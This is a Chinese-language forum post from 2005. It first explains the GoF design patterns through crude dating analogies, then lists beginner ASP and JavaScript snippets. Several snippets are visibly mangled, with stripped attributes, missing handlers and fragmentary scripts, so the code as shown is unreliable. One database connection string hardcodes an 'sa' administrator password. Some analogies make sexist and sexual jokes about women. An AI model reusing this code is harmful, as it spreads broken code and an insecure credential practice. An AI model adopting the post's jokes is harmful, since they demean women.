但不管你帶MM去麥當勞或肯德基,只管向服務員說"來四個雞翅"就行了。麥當勞和肯德基就是生產雞翅的Factory?    工廠模式:客戶類和工廠類分開。消費者任何時候需要某種產品,只需向工廠請求即可。
消費者無須修改就可以接納新產品。缺點是當產品修改時,工廠類也要做相應的修改。如:如何創建及如何向用戶端提供。?    2、 BUILDER—MM最愛聽的就是"我愛你"這句話了,見到不同地方的MM,要能夠用她們的方言跟她說這句話哦,
我有一個多種語言翻譯機,上面每種語言都有一個按鍵,見到MM我只要按對應的鍵,它就能夠用相應的語言說出"我愛你"這句話了,
國外的MM 也可以輕鬆搞掂,這就是我的"我愛你"builder。
(這一定比美軍在伊拉克用的翻譯機好賣)?    建造模式:將產品的內部表像和產品的生成過程分割開來,從而使一個建造過程生成具有不同的內部表像的產品物件。
建造模式使得產品內部表像可以獨立的變化,客戶不必知道產品內部組成的細節。建造模式可以強制實行一種分步驟進行的建造過程。?    3、FACTORY?METHOD—請MM去麥當勞吃漢堡,不同的MM有不同的口味,要每個都記住是一件煩人的事情,
我一般採用Factory?Method模式,帶著MM到服務員那兒,說"要一個漢堡",具體要什麼樣的漢堡呢,讓MM直接跟服務員說就行 了。?    工廠方法模式:核心工廠類不再負責所有產品的創建,而是將具體創建的工作交給子類去做,
成為一個抽象工廠角色,僅負責給出具體工廠類必須實現的介面,而不接觸哪一個產品類應當被實例化這種細節。?    4、PROTOTYPE—跟MM用QQ聊天,一定要說些深情的話語了,我搜集了好多肉麻的情話,
需要時只要copy出來放到QQ裏面就行了,這就是我的情話prototype了。(100塊錢一份,你要不要)?    原始模型模式:通過給出一個原型物件來指明所要創建的物件的類型,
然後用複製這個原型物件的方法創建出更多同類型的物件。
原始模型模式允許動態的增加或減少產品類,產品類不需要非得有任何事先確定的等級結構,
原始模型模式適用於任何的等級結構。缺點是每一 個類都必須配備一個克隆方法。?    5、SINGLETON—俺有6個漂亮的老婆,她們的老公都是我,我就是我們家裏的老公Sigleton,
她們只要說道"老公",都是指的同一個人,那就是我(剛才做了個夢啦,哪有這麼好的事)?    單例模式:單例模式確保某一個類只有一個實例,而且自行實例化並向整個系統提供這個實例單例模式。
單例模式只應在有真正的"單一實例"的需求時才可使用。?    結構型模式?    6、ADAPTER—在朋友聚會上碰到了一個美女Sarah,從香港來的,可我不會說粵語,她不會說普通話,
只好求助於我的朋友kent了,他作為我和Sarah之間的Adapter,讓我和Sarah可以相互交談了(也不知道他會不會耍我)?    適配器(變壓器)模式:
把一個類的介面變換成用戶端所期待的另一種介面,從而使原本因介面原因不匹配而無法一起工作的兩個類能夠一起工作。
適配類可以根據參數返還一個合適的實例給用戶端。?    7、BRIDGE—早上碰到MM,要說早上好,晚上碰到MM,要說晚上好;碰到MM穿了件新衣服,
要說你的衣服好漂亮哦,碰到MM新做的髮型,要說你的頭髮好漂亮哦。不要問我"
早上碰到MM新做了個髮型怎麼說"這種問題,自己用BRIDGE組合一下不就行 了?    橋樑模式:將抽象化與實現化脫耦,使得二者可以獨立的變化,也就是說將他們之間的強關聯變成弱關聯,
也就是指在一個軟體系統的抽象化和實現化之間使用組合/聚合關係而不是繼承關係,從而使兩者可以獨立的變化。?    8、 COMPOSITE—Mary今天過生日。"我過生日,你要送我一件禮物。""嗯,好吧,去商店,你自己挑。
""這件T恤挺漂亮,買,這條裙子好看,買,這個包也不錯,買。""喂,買了三件了呀,我只答應送一件禮物的哦。
""什麼呀,T恤加裙子加包包,正好配成一套呀,小姐,麻煩你包起來。""......",MM都會用Composite模式了,你會了沒有??    合成模式:合成模式將物件組織到樹結構中,可以用來描述整體與部分的關係。
合成模式就是一個處理物件的樹結構的模式。
合成模式把部分與整體的關係用樹結構表示出來。
合成模式使得用戶端把一個個單獨的成分對象和由他們複合而成的合成對象同等看待。?    9、 DECORATOR—Mary過完輪到Sarly過生日,還是不要叫她自己挑了,
不然這個月伙食費肯定玩完,拿出我去年在華山頂上照的照片,在背面寫上 "最好的的禮物,
就是愛你的Fita",再到街上禮品店買了個像框(賣禮品的MM也很漂亮哦),
再找隔壁搞美術設計的Mike設計了一個漂亮的盒子裝起來......,我們都是Decorator,最終都在修飾我這個人呀,
怎麼樣,看懂了嗎??    裝飾模式:裝飾模式以對用戶端透明的方式擴展物件的功能,是繼承關係的一個替代方案,提供比繼承更多的靈活性。
動態給一個物件增加功能,這些功能可以再動態的撤銷。增加由一些基本功能的排列組合而產生的非常大量的功能。?    10、 FACADE—我有一個專業的Nikon相機,我就喜歡自己手動調光圈、快門,這樣照出來的照片才專業,
但MM可不懂這些,教了半天也不會。
幸好相機有 Facade設計模式,把相機調整到自動檔,只要對準目標按快門就行了,一切由相機自動調整,
這樣 MM也可以用這個相機給我拍張照片了。?    門面模式:外部與一個子系統的通信必須通過一個統一的門面物件進行。門面模式提供一個高層次的介面,
使得子系統更易於使用。
每一個子系統只有一個門面類,而且此門面類只有一個實例,
也就是說它是一個單例模式。但整個系統可以有多個門面類。?    11、 FLYWEIGHT—每天跟MM發短信,手指都累死了,最近買了個新手機,可以把一些常用的句子存在手機裏,
要用的時候,直接拿出來,在前面加上MM的名字就可以發送了,再不用一個字一個字敲了。
共用的句子就是Flyweight,MM的名字就是提 取出來的外部特徵,根據上下文情況使用。?    享元模式:FLYWEIGHT在拳擊比賽中指最羽量級。享元模式以共用的方式高效的支援大量的細粒度物件。
享元模式能做到共用的關鍵是區分內蘊狀態和外蘊狀態。
內蘊狀態存儲在享元內部,不會隨環境的改變而有所不同。
外蘊狀態是隨環境的改變而改變的。
外蘊狀態不能影響內蘊狀態,它們是相互獨立的。
將可以共用的狀態和不可以共用的狀態從常規類中區分開來,將不可以共用的狀態從類裏剔除出去。
用戶端不可以直接創建被共用的物件,而應當使用一個工廠物件負責創建被共用的物件。
享元模式大幅度的降低記憶體中物件的數量 。?    12、PROXY—跟MM在網上聊天,一開頭總是"hi,你好","你從哪兒來呀?
""你多大了?""身高多少呀?"這些話,真煩人,
寫個程式做為我的Proxy吧,凡是接收到這些話都設置好了自動的回答,
接收到其他的話時再通知我回答,怎麼樣,酷吧。?     代理模式:代理模式給某一個物件提供一個代理物件,並由代理物件控制對源物件的引用。
代理就是一個人或一個機構代表另一個人或者一個機構採取行動。
某些情況下,客戶不想或者不能夠直接引用一個物件,代理物件可以在客戶和目標物件直接起到仲介的作用。
用戶端分辨不出代理主題物件與真實主題物件。
代理模式可以並不知道真正的被代理物件,而僅僅持有一個被代理物件的介面,
這時候代理物件不能夠創建被代理物件,被代理物件必須有系統的其他角色代為創建並傳入。?    行為模式?    13、CHAIN?OF?RESPONSIBLEITY—晚上去上英語課,為了好開溜坐到了最後一排,
哇,前面坐了好幾個漂亮的MM哎,找張紙條,寫上"Hi,
可以做我的女朋友嗎?如果不願意請向前傳"
,紙條就一個接一個的傳上去了,糟糕,傳到第一排的M M把紙條傳給老師了,聽說是個老處女呀,快跑!?    責任鏈模式:在責任鏈模式中,很多物件由每一個物件對其下家的引用而接?    起來形成一條鏈。請求在這個鏈上傳遞,直到鏈上的某一個物件決定處理此請求。
客戶並不知道鏈上的哪一個物件最終處理這個請求,
系統可以在不影響用戶端的情況下動態的重新組織鏈和分配責任。
處理者有兩個選擇:承擔責任或者把責任推給下家。
一個請求可以最終不 被任何接收端物件所接受。?    14、 COMMAND—俺有一個MM家裏管得特別嚴,沒法見面,只好借助于她弟弟在我們倆之間傳送資訊,
她對我有什麼指示,就寫一張紙條讓她弟弟帶給我。
這不,她弟弟又傳送過來一個COMMAND,為了感謝他,我請他吃了碗雜醬面,哪知道他說:
"我同時給我姐姐三個男朋友送COMMAND,就數你最小氣,才請我吃面。",:-(?    命令模式:命令模式把一個請求或者操作封裝到一個物件中。
命令模式把發出命令的責任和執行命令的責任分割開,委派給不同的物件。
命令模式允許請求的一方和發送的一方獨立開來,使得請求的一方不必知道接收請求的一方的介面,
更不必知道請求是怎麼被接收,以及 操作是否執行,何時被執行以及是怎麼被執行的。系統支援命令的撤銷。?    15、INTERPRETER—俺有一個《泡MM真經》,上面有各種泡MM的攻略,比如說去吃西餐的步驟、
去看電影的方法等等,跟MM約會時,只要做一個Interpreter,照著上面的腳本執行就可以了。?    解釋器模式:給定一個語言後,解釋器模式可以定義出其文法的一種表示,並同時提供一個解釋器。
用戶端可以使用這個解釋器來解釋這個語言中的句子。
解釋器模式將描述怎樣在有了一個簡單的文法後,使用模式設計解釋這些語句。
在解釋器模式裏面提到的語言是指任何解釋器物件能夠解釋的任何組合。
在解釋器模式中需要定義一個代表文法的命令類的等級結構,也就是一系列的組合規則。
每一個命令物件都有一個解釋方法,代表對命令物件的解釋。
命令物件的等級結構中的物件的任何排列組合都是一個語言。?    16、ITERATOR—我愛上了Mary,不顧一切的向她求婚。?    Mary:"想要我跟你結婚,得答應我的條件"?    我:"什麼條件我都答應,你說吧"?    Mary:"我看上了那個一克拉的鑽石"?    我:"我買,我買,還有嗎?"?    Mary:"我看上了湖邊的那棟別墅"?    我:"我買,我買,還有嗎?"?    Mary:"你的小弟弟必須要有50cm長"?    我腦袋嗡的一聲,坐在椅子上,一咬牙:"我剪,我剪,還有嗎?"?    ......?    迭代子模式:迭代子模式可以順序訪問一個聚集中的元素而不必暴露聚集的內部表像。
多個物件聚在一起形成的總體稱之為聚集,聚集物件是能夠包容一組物件的容器物件。
迭代子模式將迭代邏輯封裝到一個獨立的子物件中,從而與聚集本身隔開。
迭代子模式簡化了聚集的介面。
每一個聚集物件都可以有一個或一個以上的迭代子物件,每一個迭代子的迭代狀態可以是彼此獨立的。
迭代演算法可以獨立於聚集角色變化。?    17、MEDIATOR—四個MM打麻將,相互之間誰應該給誰多少錢算不清楚了,幸虧當時我在旁邊,
按照各自的籌碼數算錢,賺了錢的從我這裏拿,賠了錢的也付給我,一切就OK啦,俺得到了四個MM的電話。?    調停者模式:調停者模式包裝了一系列物件相互作用的方式,使得這些物件不必相互明顯作用。
從而使他們可以鬆散偶合。當某些物件之間的作用發生改變時,不會立即影響其他的一些物件之間的作用。
保證這些作用可以彼此獨立的變化。
調停者模式將多對多的相互作用轉化為一對多的相互作用。調停者模式將物件的行為和協作抽象化,把對象在小尺度的行為上與其他物件的相互作用分開處理。?    18、MEMENTO—同時跟幾個MM聊天時,一定要記清楚剛才跟MM說了些什麼話,不然MM發現了會不高興的哦,
幸虧我有個備忘錄,剛才與哪個MM說了什麼話我都拷貝一份放到備忘錄裏面保存,這樣可以隨時察看以前的記錄啦。?    備忘錄模式:備忘錄物件是一個用來存儲另外一個物件內部狀態的快照的物件。
備忘錄模式的用意是在不破壞封裝的條件下,將一個物件的狀態捉住,並外部化,存儲起來,從而可以在將來合適的時候把這個物件還原到存儲起來的狀態。?    19、OBSERVER—想知道咱們公司最新MM情報嗎?加入公司的MM情報郵件組就行了,tom負責搜集情報,
他發現的新情報不用一個一個通知我們,直接發佈給郵件組,我們作為訂閱者(觀察者)就可以及時收到情報啦?    觀察者模式:觀察者模式定義了一種一隊多的依賴關係,讓多個觀察者物件同時監聽某一個主題物件。
這個主題物件在狀態上發生變化時,會通知所有觀察者物件,使他們能夠自動更新自己。?    20、 STATE—跟MM交往時,一定要注意她的狀態哦,在不同的狀態時她的行為會有不同,比如你約她今天晚上去看電影,
對你沒興趣的MM就會說"有事情啦",對你不討厭但還沒喜歡上的MM就會說"好啊,不過可以帶上我同事麼?",    已經喜歡上你的MM就會說"幾點鐘?看完電影再去泡吧怎麼樣?",當然你看電影過程中表現良好的話,
也可以把MM的狀態從不討厭不喜歡變成喜歡哦。?    狀態模式:狀態模式允許一個物件在其內部狀態改變的時候改變行為。這個物件看上去像是改變了它的類一樣。
狀態模式把所研究的物件的行為包裝在不同的狀態物件裏,每一個狀態物件都屬於一個抽象狀態類的一個子類。
狀態模式的意圖是讓一個物件在其內部狀態改變的時候,其行為也隨之改變。
狀態模式需要對每一個系統可能取得的狀態創立一個狀態類的子類。當系統的狀態變化時,系統便改變所選的子類。?    21、STRATEGY—跟不同類型的MM約會,要用不同的策略,有的請電影比較好,有的則去吃小吃效果不錯,
有的去海邊浪漫最合適,單目的都是為了得到MM的芳心,我的追MM錦囊中有好多Strategy哦。?    策略模式:策略模式針對一組演算法,將每一個演算法封裝到具有共同介面的獨立的類中,從而使得它們可以相互替換。
策略模式使得演算法可以在不影響到用戶端的情況下發生變化。策略模式把行為和環境分開。
環境類負責維持和查詢行為類,各種演算法在具體的策略類中提供。
由於演算法和環境獨立開來,演算法的增減,修改都不會影響到環境和用戶端。?    22、TEMPLATE?METHOD——看過《如何說服女生上床》
這部經典文章嗎?女生從認識到上床的不變的步驟分為巧遇、打破僵局、
展開追求、接吻、前戲、動手、愛撫、進去八大步驟(Template? method)
,但每個步驟針對不同的情況,都有 不一樣的做法,
這就要看你隨機應變啦(具體實現);?    範本方法模式:範本方法模式準備一個抽象類,將部分邏輯以具體方法以及具體構造子的形式實現,
然後聲明一些抽象方法來迫使子類實現剩餘的邏輯。
不同的子類可以以不同的方式實現這些抽象方法,
從而對剩餘的邏輯有不同的實現。先制定一個頂級邏輯框架,而將邏輯 的細節留給具體的子類去實現。?    23、VISITOR—情人節到了,要給每個MM送一束鮮花和一張卡片,可是每個MM送的花都要針對她個人的特點,
每張卡片也要根據個人的特點來挑,我一個人哪搞得清楚,還是找花店老闆和禮品店老闆做一下Visitor,
讓花店老闆根據MM的特點選一束花 ,讓禮品店老闆也根據每個人特點選一張卡,這樣就輕鬆多了;?    訪問者模式:訪問者模式的目的是封裝一些施加於某種資料結構元素之上的操作。
一旦這些操作需要修改的話,接受這個操作的資料結構可以保持不變。
訪問者模式適用於資料結構相對未定的系統,它把資料結構和作用於結構上的操作之間的耦合解脫開
,使得操作集合可以相對自由的演化。
訪問者模式使得增加新的操作變的很容易,就是增加一個新的訪問者類。
訪問者模式將有關的行為集中到一個訪問者物件中,
而不是分散到一個個的節點類中。
當使用訪問者模式時,要將盡可能多的物件流覽邏輯放在訪問者類中,而不是放到它的子類中。
訪問者模式可以跨過幾個類的等級結構訪問屬於不同的等級結構的成員類。
 
值得收藏的一些代碼! 
 
1. "window.event.returnvalue=false" 將徹底遮罩滑鼠右鍵 
no
可用於Table 2. <body false"> 取消選取、防止複製 3. "return false" 不准粘貼 4. "return false;" "return false;" 防止複製 5. <link rel="Shortcut Icon" href="favicon.ico"> IE位址欄前換成自己的圖示 6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夾中顯示出你的圖示 7. <input .posHeight=this.scrollHeight">
發表人 - conundrum 於 2005/11/17 21:21:26
conundrum
尊榮會員


發表:893
回覆:1272
積分:643
註冊:2004-01-06

發送簡訊給我
#5 引用回覆 回覆 發表時間:2005-11-17 20:40:44 IP:220.143.xxx.xxx 未訂閱
http://oldblog.blogchina.com/category.php?id=15816&pageno=5    整理了一些初學者常用的代碼! 
 
1.獲得系統時間:
<%=now()%>
2.取得來訪用的IP:
<%=request.serverVariables("remote_host")%>
3.獲得系統,流覽器版本:

window.("版本:"+navigator.appName+navigator.appVersion+" browser.")

4.去除IE混動條:
<body scroll="no"> 
<body ="font-size: 9pt; color: #FF0000; line-height: 150%; font-style:italic; font-weight:bold" scrollamount="2" width="206" height="207" bgcolor="#FFFF00">hhhhhhhhhhhhhhhhhhh
8.自動關閉網頁:

<!--
setTimeout(''window.close();'', 10000); //60秒後關閉
// -->

本頁10秒後自動關閉,請注意刷新頁面
9.隨機背景音樂:
<%randomize%>
<bgsound src="mids/<%=(int(rnd()*60)+1)%>.mid" loop="-1">    可以修改數位,限制調用個數,我這裏是60個.
10.自動刷新本頁面:
 
<!--     var limit="0:10"     if (document.images){ 
var parselimit=limit.split(":") 
parselimit=parselimit[0]*60+parselimit[1]*1 
} 
function beginrefresh(){ 
if (!document.images) 
return 
if (parselimit==1) 
.reload() 
else{ 
parselimit-=1 
curmin=Math.floor(parselimit/60) 
cursec=parselimit%60 
if (curmin!=0) 
curtime=curmin+"分"+cursec+"秒後重刷本頁!" 
else 
curtime=cursec+"秒後重刷本頁!" 
window.status=curtime 
setTimeout("beginrefresh()",1000) 
} 
}     =beginrefresh 
file://--> 
    11.ACCESS資料庫連接:
<%
option explicit
dim startime,endtime,conn,connstr,db
startime=timer()
'更改資料庫名字
db="data/dvBBS5.mdb"
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
'如果你的伺服器採用較老版本Access驅動,請用下面連接方法
'connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(db)
conn.Open connstr
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%>
12.SQL資料庫連接:
<%
option explicit
dim startime,endtime,conn,connstr,db
startime=timer()
connstr="driver={SQL Server};server=HUDENQ-N11T33NB;uid=sa;pwd=xsfeihu;database=dvbbs" 
Set conn = Server.CreateObject("ADODB.Connection")
conn.Open connstr
function CloseDatabase
Conn.close
Set conn = Nothing
End Function
%>
13.用鍵盤打開網頁代碼:

function ctlent(eventobject)
{
if((event.ctrlKey && window.event.keyCode==13)||(event.altKey && window.event.keyCode==83))
{
window.open('網址','','')
}
}
    這裏是Ctrl+Enter和Alt+S的代碼 自己查下鍵盤的ASCII碼再換就行!    14.讓層不被控制項複蓋代碼:
<object xxx></object>
# 前面
<object xxx></object>
# 後面
<iframe height=100% width=100%></iframe>
15.動網FLASH廣告代碼: <object classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="468" height="60"><embed src="images/dvbanner.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"; type="application/x-shockwave-flash" width="468" height="60"></embed></object> 16.VBS彈出視窗小代碼: msgbox"你還沒有註冊或登陸論壇","0","精品論壇" location.href = "login.asp" 16.使用FSO修改檔特定內容的函數 function FSOchange(filename,Target,String) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FiletempData = objCountFile.ReadAll objCountFile.Close FiletempData=Replace(FiletempData,Target,String) Set objCountFile=objFSO.CreateTextFile(Server.MapPath(filename),True) objCountFile.Write FiletempData objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing End Function 17.使用FSO讀取檔內容的函數 function FSOFileRead(filename) Dim objFSO,objCountFile,FiletempData Set objFSO = Server.CreateObject("Scripting.FileSystemObject") Set objCountFile = objFSO.OpenTextFile(Server.MapPath(filename),1,True) FSOFileRead = objCountFile.ReadAll objCountFile.Close Set objCountFile=Nothing Set objFSO = Nothing End Function 18.使用FSO讀取檔某一行的函數 function FSOlinedit(filename,lineNum) if linenum < 1 then exit function dim fso,f,temparray,tempcnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close set f = nothing temparray = split(tempcnt,chr(13)&chr(10)) if lineNum>ubound(temparray)+1 then exit function else FSOlinedit = temparray(lineNum-1) end if end if end function 19.使用FSO寫檔某一行的函數 function FSOlinewrite(filename,lineNum,Linecontent) if linenum < 1 then exit function dim fso,f,temparray,tempCnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close temparray = split(tempcnt,chr(13)&chr(10)) if lineNum>ubound(temparray)+1 then exit function else temparray(lineNum-1) = lineContent end if tempcnt = join(temparray,chr(13)&chr(10)) set f = fso.createtextfile(server.mappath(filename),true) f.write tempcnt end if f.close set f = nothing end function 20.使用FSO添加檔新行的函數 function FSOappline(filename,Linecontent) dim fso,f set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),8,1) f.write chr(13)&chr(10)&Linecontent f.close set f = nothing end function 21.讀檔最後一行的函數 function FSOlastline(filename) dim fso,f,temparray,tempcnt set fso = server.CreateObject("scripting.filesystemobject") if not fso.fileExists(server.mappath(filename)) then exit function set f = fso.opentextfile(server.mappath(filename),1) if not f.AtEndofStream then tempcnt = f.readall f.close set f = nothing temparray = split(tempcnt,chr(13)&chr(10)) FSOlastline = temparray(ubound(temparray)) end if end function 台灣災難都是事後算帳 無人飛行載具(Unmanned Aerial Vehicle,UAV)為什麼沒大量應用於救災行列 絲絲有2種 .net有很多種 一種治眼睛是MS 另一種治腦筋是Borland
發表人 - conundrum 於 2005/11/17 21:07:11
系統時間:2024-05-15 3:38:28
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!